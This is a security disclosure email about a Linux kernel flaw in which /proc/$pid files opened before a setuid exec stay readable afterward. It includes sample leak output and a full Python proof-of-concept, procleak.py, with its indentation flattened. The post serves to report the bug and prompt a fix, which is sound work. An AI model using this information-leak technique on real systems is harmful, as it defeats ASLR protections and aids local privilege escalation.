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    Subject[SECURITY] /proc/$pid/ leaks contents across setuid exec
    Hi,

    This came to my attention via a post[1] to full-disclosure, but I don't
    think anyone actually brought it up to lkml. Local attackers are able to
    bypass DAC permissions in /proc/$pid/ when they can exec a setuid program.
    As long as the fd is open before the exec, its contents remain readable
    after the exec, even to a setuid program. Here is auxv being scanned for
    values that should be private, due to ASLR:

    $ ./procleak.py auxv /usr/bin/passwd
    AT_BASE: 0x7f761076f000
    AT_RANDOM: 0x7fff23697969
    Changing password for kees.
    (current) UNIX password:

    Note that AT_RANDOM is the _location_ of AT_RANDOM, not the value itself,
    but this therefore leaks stack location, and AT_BASE leaks the mmap
    position of ld:

    7f761076f000-7f761078f000 r-xp 00000000 fc:00 1051386 /lib/ld-2.12.2.so
    ...
    7fff23678000-7fff23699000 rw-p 00000000 00:00 0 [stack]

    Additionally, snooping on the kernel stack, the syscall parameters, and
    even changing oom_adj is possible. Luckily, maps, mem, etc are already
    protected by may_ptrace(). The attached tool can demonstrate the snooping,
    just specify which /proc/$pid files you want, and the setuid program to
    launch. For example:

    $ ./procleak.py auxv,syscall /usr/bin/passwd
    running
    AT_BASE: 0x7f2828bde000
    AT_RANDOM: 0x7fff80bde7c9
    Changing password for kees.
    (current) UNIX password: 0 0x0 0x7fff80bdda90 0x1ff 0x7fff80bdd580 0x7f2828dc57c0 0x7f28287cec1d 0x7fff80bdd088 0x7f28282fe6c0

    There needs to be some way to break the connection to these files across
    the setuid exec, or perform some sort of revalidation of permissions. (Maybe
    check dumpable?)

    -Kees

    [1] http://seclists.org/fulldisclosure/2011/Jan/421

    ---
    #!/usr/bin/python
    # Demonstrates DAC bypass on /proc/$pid file descriptors across setuid exec.
    # Author: Kees Cook <kees@ubuntu.com>
    # License: GPLv2
    # Usage: ./procleak.py FILES,TO,SNOOP PROGRAM-TO-RUN
    import os, sys, time, struct

    target = os.getpid()
    snoop = ['auxv', 'syscall', 'stack']

    args = []
    if len(sys.argv)>1:
    args = sys.argv[1:]
    snoop = args[0].split(',')
    args = args[1:]

    def dump_auxv(blob):
    if len(blob) == 0:
    return
    auxv = struct.unpack('@%dL' % (len(blob)/len(struct.pack('@L',0))), blob)
    while auxv[0] != 0:
    if auxv[0] == 7:
    print "AT_BASE: 0x%x" % (auxv[1])
    if auxv[0] == 25:
    print "AT_RANDOM: 0x%x" % (auxv[1])
    auxv = auxv[2:]

    pid = os.fork()
    if pid == 0:
    # Child
    os.setsid()
    sys.stdin.close()

    files = dict()
    last = dict()
    for name in snoop:
    files[name] = file('/proc/%d/%s' % (target, name))
    # Ignore initial read, since it's from the existing parent
    last[name] = files[name].read()
    while True:
    try:
    for name in snoop:
    files[name].seek(0)
    saw = files[name].read()
    if saw != last[name]:
    if name == 'auxv':
    dump_auxv(saw)
    else:
    print saw
    last[name] = saw
    except Exception, o:
    if o.errno == 3:
    # Target quit
    sys.exit(0)

    cmd = ['/usr/bin/passwd']
    if len(args) > 0:
    cmd = args
    time.sleep(1)
    os.execv(cmd[0],cmd)



    --
    Kees Cook
    Ubuntu Security Team


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